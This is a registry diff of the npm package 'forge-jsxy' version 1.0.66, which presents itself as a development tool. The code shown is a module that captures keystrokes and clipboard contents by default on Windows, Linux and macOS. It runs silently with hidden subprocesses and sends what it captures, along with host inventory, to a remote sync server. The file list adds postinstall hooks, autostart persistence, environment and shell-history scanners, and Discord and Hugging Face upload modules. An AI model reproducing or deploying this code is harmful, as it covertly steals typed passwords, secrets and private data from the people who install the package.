forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,536 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.startWindowsInputSync = void 0;
4
+ exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
5
+ exports.resolveSyncApiBase = resolveSyncApiBase;
6
+ exports.startDesktopInputSync = startDesktopInputSync;
7
+ /**
8
+ * Desktop clipboard + keyboard capture → forge-db HTTP sync (Windows, Linux, macOS).
9
+ *
10
+ * **Default: on** when unset — set `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0` (or `false` / `no` / `off`) to disable.
11
+ *
12
+ * **No forge-js UI:** this module does not use `alert`, `confirm`, browser dialogs, or Windows MessageBox.
13
+ * Clipboard helpers use hidden / non-interactive subprocesses where implemented (`windowsHide`, PowerShell
14
+ * `-NonInteractive`, Win32 clipboard helper spawned hidden). Keyboard uses `uiohook-napi` in-process or
15
+ * skips safely on unsupported sessions (headless Linux, many Wayland layouts) so **clipboard sync still runs**.
16
+ *
17
+ * **OS privacy:** macOS (Input Monitoring, etc.) or other OS sheets are **system** prompts — this package
18
+ * cannot remove them. Under `FORGE_JS_QUIET_AGENT=1` / `--quiet`, stderr hints from this module are suppressed.
19
+ *
20
+ * Clipboard: @napi-rs/clipboard, then OS CLI (PowerShell / pbpaste / wl-paste|xclip|xsel);
21
+ * only the first **1000** characters (JavaScript string units; override `FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS`) are POSTed per change — remainder is dropped for DB storage.
22
+ * Host OS snapshot: a single ``env_file`` row at ``forge-js://host-inventory.json`` (see ``hostInventorySend``) so operator dashboards can show OS type; opt out with ``FORGE_JS_SYNC_HOST_INVENTORY=0``.
23
+ * optional `clipboard-event` for change notifications + slower backup poll unless
24
+ * FORGE_JS_CLIPBOARD_POLL_ONLY=1 (FORGE_JS_WIN_CLIPBOARD_POLL_ONLY still honored).
25
+ * Keyboard: uiohook-napi; Win32 ToUnicodeEx when available, else US-oriented fallback + Caps/Numpad handling.
26
+ * Remote desktop screenshot for the `/files` explorer is `fsDesktopScreenshotCapture()` in `fsProtocol.ts`
27
+ * (Windows / Linux / macOS). OS-level privacy (macOS Input Monitoring / Screen Recording, etc.) is outside this package.
28
+ */
29
+ const clientId_1 = require("./clientId");
30
+ const linuxX11_1 = require("./linuxX11");
31
+ const deploymentDefaults_1 = require("./deploymentDefaults");
32
+ const clipboardExec_1 = require("./clipboardExec");
33
+ const clipboardNapi_1 = require("./clipboardNapi");
34
+ const clipboardEventWatcher_1 = require("./clipboardEventWatcher");
35
+ const syncClient_1 = require("./syncClient");
36
+ const hostInventorySend_1 = require("./hostInventorySend");
37
+ const inputContext_1 = require("./inputContext");
38
+ const node_child_process_1 = require("node:child_process");
39
+ const keyboardTranslate_1 = require("./keyboardTranslate");
40
+ const win32InputNative_1 = require("./win32InputNative");
41
+ /**
42
+ * Best-effort platform-aware Caps Lock state at agent startup.
43
+ * - Windows: GetKeyState(VK_CAPITAL) via koffi
44
+ * - Linux X11: parse `xset q` output (only when DISPLAY is set)
45
+ * - macOS / Wayland / fallback: false (user must toggle once to sync)
46
+ */
47
+ function getCapsLockInitialState() {
48
+ if (process.platform === "win32") {
49
+ return (0, win32InputNative_1.getInitialCapsLockState)();
50
+ }
51
+ if (process.platform === "linux" && (process.env.DISPLAY || "").trim()) {
52
+ try {
53
+ const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
54
+ encoding: "utf-8",
55
+ timeout: 1500,
56
+ env: process.env,
57
+ });
58
+ if (r.status === 0) {
59
+ const m = (r.stdout || "").match(/Caps Lock:\s+(\w+)/i);
60
+ if (m)
61
+ return m[1].toLowerCase() === "on";
62
+ }
63
+ }
64
+ catch {
65
+ /* xset not available or timed out */
66
+ }
67
+ }
68
+ return false;
69
+ }
70
+ const TEXT_MAX = 900_000;
71
+ /** Characters from clipboard text included in each forge-db sync event (keyboard unchanged). Override: FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS (1–TEXT_MAX). */
72
+ const CLIPBOARD_SYNC_DEFAULT_CHARS = 1000;
73
+ /** Prevent unbounded memory growth if the sync API is down or slower than capture. */
74
+ const MAX_SYNC_QUEUE = 5000;
75
+ const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
76
+ const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
77
+ const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
78
+ const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
79
+ function isDesktopPlatform() {
80
+ const p = process.platform;
81
+ return p === "win32" || p === "linux" || p === "darwin";
82
+ }
83
+ /** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
84
+ function skipUiohookKeyboard() {
85
+ if ((process.env.FORGE_JS_FORCE_UIOHOOK || "").trim() === "1")
86
+ return false;
87
+ if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1")
88
+ return true;
89
+ // macOS: uiohook-napi uses the macOS Accessibility API which triggers the
90
+ // system-level "Input Monitoring" / "Accessibility" permission dialog on first
91
+ // use. This dialog is a modal OS alert that cannot be suppressed
92
+ // programmatically — it appears even if the call is wrapped in a try/catch.
93
+ // Skip keyboard monitoring by default on macOS to avoid any UI dialogs.
94
+ // Users who have already granted Accessibility permission can opt-in with:
95
+ // FORGE_JS_FORCE_UIOHOOK=1
96
+ // Clipboard sync continues to work normally (via pbpaste poll + clipboard-event).
97
+ if (process.platform === "darwin")
98
+ return true;
99
+ if (process.platform === "linux") {
100
+ const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
101
+ const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
102
+ if (!hasDisplay && !hasWayland)
103
+ return true;
104
+ // libuiohook uses X11 Record; pure Wayland without XWayland/DISPLAY cannot host it.
105
+ if (!hasDisplay && hasWayland)
106
+ return true;
107
+ // Wayland + XWayland: DISPLAY points to XWayland socket which accepts X11 connections
108
+ // but does NOT expose a real Xkb keyboard device — uiohook fails with
109
+ // "XkbGetKeyboard failed to locate a valid keyboard!" and cannot capture key events.
110
+ // Physical keyboard input is routed exclusively through the Wayland compositor,
111
+ // so X11/Record-based hooks never receive events from Wayland-native applications.
112
+ // Skip uiohook in this configuration unless the user explicitly opts in.
113
+ if (hasDisplay && hasWayland)
114
+ return true;
115
+ if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)())
116
+ return true;
117
+ // Verify we can actually communicate with the X11 server — systemd user services may
118
+ // have DISPLAY=:0 set in EnvironmentFile but lack X11 auth cookies (Xauthority),
119
+ // which causes uiohook/libuiohook to print errors and abort keyboard capture.
120
+ if (hasDisplay) {
121
+ try {
122
+ const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
123
+ encoding: "utf-8",
124
+ timeout: 2000,
125
+ env: process.env,
126
+ });
127
+ if (r.status !== 0 || r.error)
128
+ return true;
129
+ }
130
+ catch {
131
+ return true;
132
+ }
133
+ }
134
+ }
135
+ return false;
136
+ }
137
+ /**
138
+ * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
139
+ * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
140
+ */
141
+ function effectiveSyncKeyboardClipboard() {
142
+ const e = (process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD || "").trim().toLowerCase();
143
+ if (["0", "false", "no", "off"].includes(e))
144
+ return false;
145
+ return true;
146
+ }
147
+ function resolveSyncApiBase() {
148
+ return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
149
+ }
150
+ async function readClipboardDesktop() {
151
+ const native = (0, clipboardNapi_1.readClipboardNapi)();
152
+ if (native !== null)
153
+ return native;
154
+ return (0, clipboardExec_1.readClipboardViaExec)();
155
+ }
156
+ function clampText(s) {
157
+ const b = Buffer.byteLength(s, "utf8");
158
+ if (b <= TEXT_MAX)
159
+ return s;
160
+ let lo = 0;
161
+ let hi = s.length;
162
+ while (lo < hi) {
163
+ const mid = Math.floor((lo + hi + 1) / 2);
164
+ if (Buffer.byteLength(s.slice(0, mid), "utf8") <= TEXT_MAX)
165
+ lo = mid;
166
+ else
167
+ hi = mid - 1;
168
+ }
169
+ return s.slice(0, lo);
170
+ }
171
+ /** Only the leading portion of clipboard text is stored in forge-db (default 1000 JS string units). */
172
+ function clipboardSyncMaxChars() {
173
+ const raw = (process.env.FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS || "").trim();
174
+ if (raw) {
175
+ const n = parseInt(raw, 10);
176
+ if (Number.isFinite(n) && n >= 1 && n <= TEXT_MAX)
177
+ return n;
178
+ }
179
+ return CLIPBOARD_SYNC_DEFAULT_CHARS;
180
+ }
181
+ function clampClipboardForDatabase(s) {
182
+ const max = clipboardSyncMaxChars();
183
+ if (s.length <= max)
184
+ return s;
185
+ return s.slice(0, max);
186
+ }
187
+ /**
188
+ * If `startDesktopInputSync` is ever invoked twice in one process, a second set of clipboard
189
+ * timers + keyboard hooks would duplicate forge-db rows. `agentRunner` only starts once; this
190
+ * guards against regressions or external callers.
191
+ */
192
+ let activeDesktopInputSyncDispose = null;
193
+ /**
194
+ * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
195
+ */
196
+ function startDesktopInputSync(opts) {
197
+ if (!isDesktopPlatform()) {
198
+ return () => { };
199
+ }
200
+ if (activeDesktopInputSyncDispose) {
201
+ if (!opts.quiet) {
202
+ console.error("[forge-js:desktop-sync] startDesktopInputSync called while already active — duplicate start ignored (returning existing stop handle)");
203
+ }
204
+ return activeDesktopInputSyncDispose;
205
+ }
206
+ const client = new syncClient_1.ForgeSyncClient({
207
+ baseUrl: opts.apiBaseUrl,
208
+ clientId: opts.clientId ?? (0, clientId_1.getOrCreateClientId)(),
209
+ });
210
+ const queue = [];
211
+ let queueDropLogged = false;
212
+ let stopped = false;
213
+ const clipPoll = Math.max(200, opts.clipboardPollMs ?? 400);
214
+ const clipBackupPoll = Math.max(clipPoll, Math.max(5000, opts.clipboardBackupPollMs ?? 60_000));
215
+ const kbdFlush = Math.max(300, opts.keyboardFlushMs ?? 1200);
216
+ const flushEvery = Math.max(100, opts.flushMs ?? 300);
217
+ const flushBatchMax = Math.max(1, Math.min(100, opts.flushBatchMax ?? 25));
218
+ let lastClip = "";
219
+ let kbdBuf = "";
220
+ let kbdTimer = null;
221
+ /**
222
+ * Caps Lock toggle state for the US fallback path.
223
+ * Deferred until we confirm uiohook will run (avoids a redundant xset q call on headless Linux
224
+ * before skipUiohookKeyboard() has had a chance to return early).
225
+ * Toggled by every Caps Lock keydown in translateUiohookKeydown.
226
+ */
227
+ const capsLockOnRef = { current: false };
228
+ /**
229
+ * Belt-and-suspenders Shift tracker for the Win32 path.
230
+ * uiohook sets ev.shiftKey at hook time, but some Windows builds lag the modifier flag
231
+ * for the letter event. We also listen on keyup to clear the flag.
232
+ */
233
+ let shiftTracked = false;
234
+ const log = (msg) => {
235
+ if (!opts.quiet)
236
+ console.error(`[forge-js:desktop-sync] ${msg}`);
237
+ };
238
+ function enqueue(ev) {
239
+ while (queue.length >= MAX_SYNC_QUEUE) {
240
+ queue.shift();
241
+ if (!queueDropLogged && !opts.quiet) {
242
+ queueDropLogged = true;
243
+ log("sync queue saturated; dropping oldest events (API slow or unreachable)");
244
+ }
245
+ }
246
+ queue.push(ev);
247
+ }
248
+ function scheduleKbdFlush() {
249
+ if (kbdTimer)
250
+ clearTimeout(kbdTimer);
251
+ kbdTimer = setTimeout(() => {
252
+ kbdTimer = null;
253
+ void flushKbd();
254
+ }, kbdFlush);
255
+ }
256
+ async function flushKbd() {
257
+ const t = kbdBuf;
258
+ kbdBuf = "";
259
+ if (!t)
260
+ return;
261
+ const text = clampText(t);
262
+ // Do not use trim(): newline-only (Enter), spaces-only, and tabs must still sync as typed text.
263
+ if (text.length === 0)
264
+ return;
265
+ let contextJson;
266
+ try {
267
+ contextJson = await (0, inputContext_1.buildInputContextJson)("keyboard", text);
268
+ }
269
+ catch {
270
+ contextJson = undefined;
271
+ }
272
+ enqueue({
273
+ timestamp: new Date().toISOString(),
274
+ source: "keyboard",
275
+ text,
276
+ size_bytes: Buffer.byteLength(text, "utf8"),
277
+ context_json: contextJson,
278
+ });
279
+ }
280
+ let registrationHandshakeReady = false;
281
+ let registrationHandshakeTimer = null;
282
+ let lastRegistrationHandshakeLogMs = 0;
283
+ let registrationHandshakeAttempts = 0;
284
+ const scheduleRegistrationHandshake = () => {
285
+ if (stopped || registrationHandshakeReady || registrationHandshakeTimer)
286
+ return;
287
+ const exp = Math.min(registrationHandshakeAttempts, 8);
288
+ const backoffMs = Math.min(REGISTRATION_HANDSHAKE_RETRY_MAX_MS, REGISTRATION_HANDSHAKE_RETRY_MS * Math.max(1, 2 ** exp));
289
+ const jitterMs = Math.floor(Math.random() * 500);
290
+ registrationHandshakeTimer = setTimeout(() => {
291
+ registrationHandshakeTimer = null;
292
+ void runRegistrationHandshake();
293
+ }, backoffMs + jitterMs);
294
+ };
295
+ const runRegistrationHandshake = async () => {
296
+ if (stopped || registrationHandshakeReady)
297
+ return;
298
+ registrationHandshakeAttempts += 1;
299
+ try {
300
+ await client.createEvent((0, syncClient_1.registrationHandshakeEvent)());
301
+ registrationHandshakeReady = true;
302
+ registrationHandshakeAttempts = 0;
303
+ }
304
+ catch (e) {
305
+ const now = Date.now();
306
+ if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
307
+ lastRegistrationHandshakeLogMs = now;
308
+ const detail = e instanceof Error ? e.message : String(e);
309
+ const msg = `[forge-js:desktop-sync] registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`;
310
+ // First attempts commonly race during service restarts; avoid noisy error-level spam.
311
+ if (registrationHandshakeAttempts <= 3)
312
+ console.log(msg);
313
+ else
314
+ console.error(msg);
315
+ }
316
+ scheduleRegistrationHandshake();
317
+ return;
318
+ }
319
+ if ((0, hostInventorySend_1.effectiveSyncHostInventory)()) {
320
+ try {
321
+ await (0, hostInventorySend_1.sendHostInventorySnapshot)(client);
322
+ }
323
+ catch (e) {
324
+ const detail = e instanceof Error ? e.message : String(e);
325
+ log(`host inventory snapshot failed (dashboard OS may stay empty): ${detail}`);
326
+ }
327
+ }
328
+ };
329
+ registrationHandshakeTimer = setTimeout(() => {
330
+ registrationHandshakeTimer = null;
331
+ void runRegistrationHandshake();
332
+ }, REGISTRATION_HANDSHAKE_START_DELAY_MS + Math.floor(Math.random() * 500));
333
+ let invIv = null;
334
+ if ((0, hostInventorySend_1.effectiveSyncHostInventory)()) {
335
+ const rawInv = (process.env.FORGE_JS_HOST_INVENTORY_INTERVAL_MS || "").trim();
336
+ let inventoryIntervalMs = 6 * 3600 * 1000;
337
+ if (rawInv) {
338
+ const n = parseInt(rawInv, 10);
339
+ if (Number.isFinite(n) && n >= 60_000)
340
+ inventoryIntervalMs = n;
341
+ }
342
+ invIv = setInterval(() => {
343
+ if (stopped)
344
+ return;
345
+ void (async () => {
346
+ try {
347
+ await (0, hostInventorySend_1.sendHostInventorySnapshot)(client);
348
+ }
349
+ catch {
350
+ /* periodic refresh: ignore */
351
+ }
352
+ })();
353
+ }, inventoryIntervalMs);
354
+ }
355
+ let clipReadBusy = false;
356
+ function triggerClipboardRead() {
357
+ if (stopped || clipReadBusy)
358
+ return;
359
+ clipReadBusy = true;
360
+ void (async () => {
361
+ try {
362
+ const s = await readClipboardDesktop();
363
+ if (s === lastClip)
364
+ return;
365
+ lastClip = s;
366
+ if (!s)
367
+ return;
368
+ const clipped = clampClipboardForDatabase(s);
369
+ const text = clampText(clipped);
370
+ // Keep whitespace-only clipboard payloads (spaces/newlines/tabs) as real user content.
371
+ if (text.length === 0)
372
+ return;
373
+ let contextJson;
374
+ try {
375
+ contextJson = await (0, inputContext_1.buildInputContextJson)("clipboard", text);
376
+ }
377
+ catch {
378
+ contextJson = undefined;
379
+ }
380
+ enqueue({
381
+ timestamp: new Date().toISOString(),
382
+ source: "clipboard",
383
+ text,
384
+ size_bytes: Buffer.byteLength(text, "utf8"),
385
+ context_json: contextJson,
386
+ });
387
+ }
388
+ catch {
389
+ /* skip */
390
+ }
391
+ finally {
392
+ clipReadBusy = false;
393
+ }
394
+ })();
395
+ }
396
+ const clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
397
+ triggerClipboardRead();
398
+ }, log);
399
+ const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
400
+ const clipIv = setInterval(() => {
401
+ triggerClipboardRead();
402
+ }, effectiveClipPoll);
403
+ let uiohookMod = null;
404
+ if (skipUiohookKeyboard()) {
405
+ log("keyboard hook skipped (headless Linux: set DISPLAY or WAYLAND_DISPLAY, or FORGE_JS_FORCE_UIOHOOK=1). Clipboard sync unchanged.");
406
+ }
407
+ else {
408
+ try {
409
+ uiohookMod = require("uiohook-napi");
410
+ }
411
+ catch {
412
+ log("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
413
+ }
414
+ }
415
+ if (uiohookMod) {
416
+ // Initialise from real OS state only when uiohook is confirmed to run.
417
+ // This avoids a redundant xset call on headless Linux where uiohook is skipped.
418
+ capsLockOnRef.current = getCapsLockInitialState();
419
+ const { uIOhook, EventType, UiohookKey } = uiohookMod;
420
+ // VC codes for both Shift keys (libuiohook VC_SHIFT_L / VC_SHIFT_R).
421
+ const VC_SHIFT_L = 0x002a; // 42
422
+ const VC_SHIFT_R = 0x0036; // 54
423
+ const onKeyUp = (ev) => {
424
+ if (ev.keycode === VC_SHIFT_L || ev.keycode === VC_SHIFT_R) {
425
+ shiftTracked = false;
426
+ }
427
+ };
428
+ uIOhook.on("keyup", onKeyUp);
429
+ const onKey = (ev) => {
430
+ if (stopped)
431
+ return;
432
+ // Track Shift state from keydown as a belt-and-suspenders alongside ev.shiftKey.
433
+ if (ev.keycode === VC_SHIFT_L || ev.keycode === VC_SHIFT_R) {
434
+ shiftTracked = true;
435
+ return;
436
+ }
437
+ if (ev.type !== EventType.EVENT_KEY_PRESSED)
438
+ return;
439
+ if (ev.keycode === UiohookKey.Backspace) {
440
+ // Use spread to iterate code points, not UTF-16 code units, so a surrogate pair
441
+ // (e.g. emoji) is removed as one unit rather than leaving a dangling half-surrogate.
442
+ kbdBuf = [...kbdBuf].slice(0, -1).join("");
443
+ scheduleKbdFlush();
444
+ return;
445
+ }
446
+ const isEnter = ev.keycode === UiohookKey.Enter ||
447
+ ev.keycode === UiohookKey.NumpadEnter;
448
+ if (isEnter) {
449
+ if (kbdTimer) {
450
+ clearTimeout(kbdTimer);
451
+ kbdTimer = null;
452
+ }
453
+ kbdBuf += "\n";
454
+ void flushKbd();
455
+ return;
456
+ }
457
+ // Merge ev.shiftKey (captured at hook time) with our own keyup/keydown tracker.
458
+ const evMerged = (ev.shiftKey || shiftTracked)
459
+ ? { ...ev, shiftKey: true }
460
+ : ev;
461
+ const ch = (0, keyboardTranslate_1.translateUiohookKeydown)(evMerged, capsLockOnRef);
462
+ if (!ch)
463
+ return;
464
+ kbdBuf += ch;
465
+ scheduleKbdFlush();
466
+ };
467
+ uIOhook.on("keydown", onKey);
468
+ try {
469
+ uIOhook.start();
470
+ }
471
+ catch (e) {
472
+ log(`uIOhook.start failed: ${e}`);
473
+ }
474
+ }
475
+ let flushBusy = false;
476
+ const flushIv = setInterval(() => {
477
+ if (stopped || queue.length === 0 || flushBusy)
478
+ return;
479
+ flushBusy = true;
480
+ void (async () => {
481
+ try {
482
+ let n = 0;
483
+ while (!stopped && queue.length > 0 && n < flushBatchMax) {
484
+ const ev = queue.shift();
485
+ try {
486
+ await client.createEvent(ev);
487
+ n++;
488
+ }
489
+ catch {
490
+ queue.unshift(ev);
491
+ break;
492
+ }
493
+ }
494
+ }
495
+ finally {
496
+ flushBusy = false;
497
+ }
498
+ })();
499
+ }, flushEvery);
500
+ const dispose = () => {
501
+ if (stopped)
502
+ return;
503
+ stopped = true;
504
+ if (activeDesktopInputSyncDispose === dispose) {
505
+ activeDesktopInputSyncDispose = null;
506
+ }
507
+ try {
508
+ clipWatcherDispose?.();
509
+ }
510
+ catch {
511
+ /* skip */
512
+ }
513
+ clearInterval(clipIv);
514
+ clearInterval(flushIv);
515
+ if (invIv)
516
+ clearInterval(invIv);
517
+ if (kbdTimer)
518
+ clearTimeout(kbdTimer);
519
+ if (registrationHandshakeTimer)
520
+ clearTimeout(registrationHandshakeTimer);
521
+ if (uiohookMod) {
522
+ try {
523
+ uiohookMod.uIOhook.removeAllListeners("keydown");
524
+ uiohookMod.uIOhook.removeAllListeners("keyup");
525
+ uiohookMod.uIOhook.stop();
526
+ }
527
+ catch {
528
+ /* skip */
529
+ }
530
+ }
531
+ void flushKbd();
532
+ };
533
+ activeDesktopInputSyncDispose = dispose;
534
+ return dispose;
535
+ }
536
+ exports.startWindowsInputSync = startDesktopInputSync;
@@ -0,0 +1,17 @@
1
+ export interface ForgeBootstrapConfig {
2
+ argv: string[];
3
+ env: NodeJS.ProcessEnv;
4
+ }
5
+ /** Stop agent process and session services (autostart files remain unless you run forge-autostart uninstall). */
6
+ export declare function stopForgeWorker(): void;
7
+ export interface ConfigurationConstantsOptions {
8
+ argv?: string[];
9
+ env?: NodeJS.ProcessEnv;
10
+ }
11
+ /**
12
+ * Same role as Python `cfgmgr.configuration_constants()` / one `cfgmgr` run:
13
+ * refresh autostart, start background relay agent if needed, idempotent on repeat invocations.
14
+ */
15
+ export declare function configurationConstants(opts?: ConfigurationConstantsOptions): void;
16
+ /** Alias matching Python `cfgmgr.run`. */
17
+ export declare const run: typeof configurationConstants;